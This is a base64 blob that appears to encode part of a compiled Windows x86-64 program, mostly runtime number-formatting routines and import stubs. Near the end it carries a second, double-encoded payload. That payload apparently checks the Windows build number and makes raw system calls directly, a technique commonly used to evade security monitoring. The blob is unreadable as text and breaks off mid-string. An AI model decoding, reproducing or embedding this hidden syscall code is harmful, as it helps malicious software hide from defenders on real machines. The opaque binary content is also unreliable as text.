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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFYwaUo1MGlENVBCSWcrd2c2TDhzQUFCSWlmeGZ3Mll1RHgrRUFBQUFBQUREWmk0UEg0UUFBQUFBQUE4ZlJBQUFaVWlMQkNWZ0FBQUFnN2dZQVFBQUJuUU9nN2dZQVFBQUNuUlE2VDhCQUFDRHVCd0JBQUFCZEIrRHVCd0JBQUFDRDRUT0FBQUFnN2djQVFBQUF3K0V5QUFBQU9rWEFRQUFab0c0SUFFQUFMQWRENFNmQUFBQVpvRzRJQUVBQUxFZEQ0U1hBQUFBNmZRQUFBQm1nYmdnQVFBQUFDZ1BoSmdBQUFCbWdiZ2dBUUFBV2lrUGhKQUFBQUJtZ2JnZ0FRQUFPVGdQaElnQUFBQm1nYmdnQVFBQTF6b1BoSUFBQUFCbWdiZ2dBUUFBcXo5MGZHYUJ1Q0FCQUFEdVFuUjRab0c0SUFFQUFHTkZkSFJtZ2JnZ0FRQUF1a2QwY0dhQnVDQUJBQUM3UjNSc1pvRzRJQUVBQUdGS2RHaG1nYmdnQVFBQVlrcDBaT3RwdUQ0QUFBRHJZN2crQUFBQTYxeTRQd0FBQU90VnVFQUFBQURyVHJoQkFBQUE2MGU0UVFBQUFPdEF1RUVBQUFEck9iaEJBQUFBNnpLNFFRQUFBT3NydUVFQUFBRHJKTGhCQUFBQTZ4MjRRUUFBQU9zV3VFRUFBQURyRDdoQkFBQUE2d2k0UVFBQUFPc0J3MG1KeWc4RncyVklpd1FsWUFBQUFJTzRHQUVBQUFaMERvTzRHQUVBQUFwMFVPay9BUUFBZzdnY0FRQUFBWFFmZzdnY0FRQUFBZytFemdBQUFJTzRIQUVBQUFNUGhNZ0FBQURwRndFQUFHYUJ1Q0FCQUFDd0hRK0Vud0FBQUdhQnVDQUJBQUN4SFErRWx3QUFBT24wQUFBQVpvRzRJQUVBQUFBb0Q0U1lBQUFBWm9HNElBRUFBRm9wRDRTUUFBQUFab0c0SUFFQUFEazRENFNJQUFBQVpvRzRJQUVBQU5jNkQ0U0FBQUFBWm9HNElBRUFBS3MvZEh4bWdiZ2dBUUFBN2tKMGVHYUJ1Q0FCQUFCalJYUjBab0c0SUFFQUFMcEhkSEJtZ2JnZ0FRQUF1MGQwYkdhQnVDQUJBQUJoU25Sb1pvRzRJQUVBQUdKS2RHVHJhYmc1QUFBQTYyTzRPUUFBQU90Y3VEb0FBQURyVmJnN0FBQUE2MDY0UEFBQUFPdEh1RHdBQUFEclFMZzhBQUFBNnptNFBBQUFBT3N5dUR3QUFBRHJLN2c4QUFBQTZ5UzRQQUFBQU9zZHVEd0FBQURyRnJnOEFBQUE2dys0UEFBQUF